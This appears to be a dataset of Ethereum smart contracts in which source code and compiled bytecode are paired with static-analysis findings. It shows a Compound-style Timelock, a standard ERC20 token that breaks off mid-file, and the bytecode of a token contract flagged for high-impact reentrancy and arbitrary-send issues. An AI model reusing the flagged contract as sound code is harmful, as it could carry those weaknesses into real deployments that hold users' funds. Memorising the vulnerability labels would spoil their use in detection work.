0919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220979ac39e20d060745af805c4baabe84902c78f2c531bcfeb18fa0263424bf0a464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,394 |
0xc6be6f687378f5c560622f688dbe3ada73a644f7
|
pragma solidity ^0.5.17;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Timelock {
using SafeMath for uint256;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint256 indexed newDelay);
event CancelTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event ExecuteTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event QueueTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
uint256 public constant GRACE_PERIOD = 14 days;
uint256 public constant MINIMUM_DELAY = 2 days;
uint256 public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint256 public delay;
mapping(bytes32 => bool) public queuedTransactions;
/**
* @notice Construct a new TimeLock
* @param admin_ The account with minting ability
* @param delay_ The account with minting ability
*/
constructor(address admin_, uint256 delay_) public {
require(
delay_ >= MINIMUM_DELAY,
"Timelock::constructor: Delay must exceed minimum delay."
);
require(
delay_ <= MAXIMUM_DELAY,
"Timelock::setDelay: Delay must not exceed maximum delay."
);
admin = admin_;
delay = delay_;
}
function() external payable {}
function setDelay(uint256 delay_) public {
require(
msg.sender == address(this),
"Timelock::setDelay: Call must come from Timelock."
);
require(
delay_ >= MINIMUM_DELAY,
"Timelock::setDelay: Delay must exceed minimum delay."
);
require(
delay_ <= MAXIMUM_DELAY,
"Timelock::setDelay: Delay must not exceed maximum delay."
);
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(
msg.sender == pendingAdmin,
"Timelock::acceptAdmin: Call must come from pendingAdmin."
);
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(
msg.sender == address(this),
"Timelock::setPendingAdmin: Call must come from Timelock."
);
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public returns (bytes32) {
require(
msg.sender == admin,
"Timelock::queueTransaction: Call must come from admin."
);
require(
eta >= _getBlockTimestamp().add(delay),
"Timelock::queueTransaction: Estimated execution block must satisfy delay."
);
bytes32 txHash = keccak256(
abi.encode(target, value, signature, data, eta)
);
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public {
require(
msg.sender == admin,
"Timelock::cancelTransaction: Call must come from admin."
);
bytes32 txHash = keccak256(
abi.encode(target, value, signature, data, eta)
);
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public payable returns (bytes memory) {
require(
msg.sender == admin,
"Timelock::executeTransaction: Call must come from admin."
);
bytes32 txHash = keccak256(
abi.encode(target, value, signature, data, eta)
);
require(
queuedTransactions[txHash],
"Timelock::executeTransaction: Transaction hasn't been queued."
);
require(
_getBlockTimestamp() >= eta,
"Timelock::executeTransaction: Transaction hasn't surpassed time lock."
);
require(
_getBlockTimestamp() <= eta.add(GRACE_PERIOD),
"Timelock::executeTransaction: Transaction is stale."
);
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(
bytes4(keccak256(bytes(signature))),
data
);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(
callData
);
require(
success,
"Timelock::executeTransaction: Transaction execution reverted."
);
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function _getBlockTimestamp() internal view returns (uint256) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
|
0x6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e2146105dd578063e177246e146105f2578063f2b065371461061c578063f851a4401461065a576100c2565b80636a42b8f81461059e5780637d645fab146105b3578063b1b43ae5146105c8576100c2565b80630825f38f146100c45780630e18b68114610279578063267822471461028e5780633a66f901146102bf5780634dd18bf51461041e578063591fcdfe14610451575b005b610204600480360360a08110156100da57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561010957600080fd5b82018360208201111561011b57600080fd5b803590602001918460018302840111600160201b8311171561013c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561018e57600080fd5b8201836020820111156101a057600080fd5b803590602001918460018302840111600160201b831117156101c157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061066f915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023e578181015183820152602001610226565b50505050905090810190601f16801561026b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028557600080fd5b506100c2610b88565b34801561029a57600080fd5b506102a3610c24565b604080516001600160a01b039092168252519081900360200190f35b3480156102cb57600080fd5b5061040c600480360360a08110156102e257600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561031157600080fd5b82018360208201111561032357600080fd5b803590602001918460018302840111600160201b8311171561034457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561039657600080fd5b8201836020820111156103a857600080fd5b803590602001918460018302840111600160201b831117156103c957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c33915050565b60408051918252519081900360200190f35b34801561042a57600080fd5b506100c26004803603602081101561044157600080fd5b50356001600160a01b0316610f44565b34801561045d57600080fd5b506100c2600480360360a081101561047457600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104a357600080fd5b8201836020820111156104b557600080fd5b803590602001918460018302840111600160201b831117156104d657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561052857600080fd5b82018360208201111561053a57600080fd5b803590602001918460018302840111600160201b8311171561055b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610fd2915050565b3480156105aa57600080fd5b5061040c611288565b3480156105bf57600080fd5b5061040c61128e565b3480156105d457600080fd5b5061040c611295565b3480156105e957600080fd5b5061040c61129c565b3480156105fe57600080fd5b506100c26004803603602081101561061557600080fd5b50356112a3565b34801561062857600080fd5b506106466004803603602081101561063f57600080fd5b5035611398565b604080519115158252519081900360200190f35b34801561066657600080fd5b506102a36113ad565b6000546060906001600160a01b031633146106bb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114226038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561072a578181015183820152602001610712565b50505050905090810190601f1680156107575780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561078a578181015183820152602001610772565b50505050905090810190601f1680156107b75780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff16975061082896505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611575603d913960400191505060405180910390fd5b826108316113bc565b101561086e5760405162461bcd60e51b81526004018080602001828103825260458152602001806114c46045913960600191505060405180910390fd5b610881836212750063ffffffff6113c016565b6108896113bc565b11156108c65760405162461bcd60e51b81526004018080602001828103825260338152602001806114916033913960400191505060405180910390fd5b6000818152600360205260409020805460ff1916905584516060906108ec575083610979565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b602083106109415780518252601f199092019160209182019101610922565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109b85780518252601f199092019160209182019101610999565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a1a576040519150601f19603f3d011682016040523d82523d6000602084013e610a1f565b606091505b509150915081610a605760405162461bcd60e51b815260040180806020018281038252603d815260200180611658603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610add578181015183820152602001610ac5565b50505050905090810190601f168015610b0a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b3d578181015183820152602001610b25565b50505050905090810190601f168015610b6a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610bd15760405162461bcd60e51b81526004018080602001828103825260388152602001806115b26038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610c7d5760405162461bcd60e51b81526004018080602001828103825260368152602001806116226036913960400191505060405180910390fd5b610c97600254610c8b6113bc565b9063ffffffff6113c016565b821015610cd55760405162461bcd60e51b81526004018080602001828103825260498152602001806116956049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d44578181015183820152602001610d2c565b50505050905090810190601f168015610d715780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610da4578181015183820152602001610d8c565b50505050905090810190601f168015610dd15780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e9c578181015183820152602001610e84565b50505050905090810190601f168015610ec95780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610efc578181015183820152602001610ee4565b50505050905090810190601f168015610f295780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014610f825760405162461bcd60e51b81526004018080602001828103825260388152602001806115ea6038913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461101b5760405162461bcd60e51b815260040180806020018281038252603781526020018061145a6037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561108a578181015183820152602001611072565b50505050905090810190601f1680156110b75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156110ea5781810151838201526020016110d2565b50505050905090810190601f1680156111175780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111e25781810151838201526020016111ca565b50505050905090810190601f16801561120f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561124257818101518382015260200161122a565b50505050905090810190601f16801561126f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b3330146112e15760405162461bcd60e51b81526004018080602001828103825260318152602001806116de6031913960400191505060405180910390fd5b6202a3008110156113235760405162461bcd60e51b81526004018080602001828103825260348152602001806115096034913960400191505060405180910390fd5b62278d008111156113655760405162461bcd60e51b815260040180806020018281038252603881526020018061153d6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b60008282018381101561141a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a72315820ad3c08a71694e0227981da13be9584829a49165d46456a0da72510d1c21a7acd64736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 9,395 |
0x5cb123c514035030a6a6fd1449dc3d6f2d5bbd8e
|
/**
*Submitted for verification at Etherscan.io on 2021-10-19
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
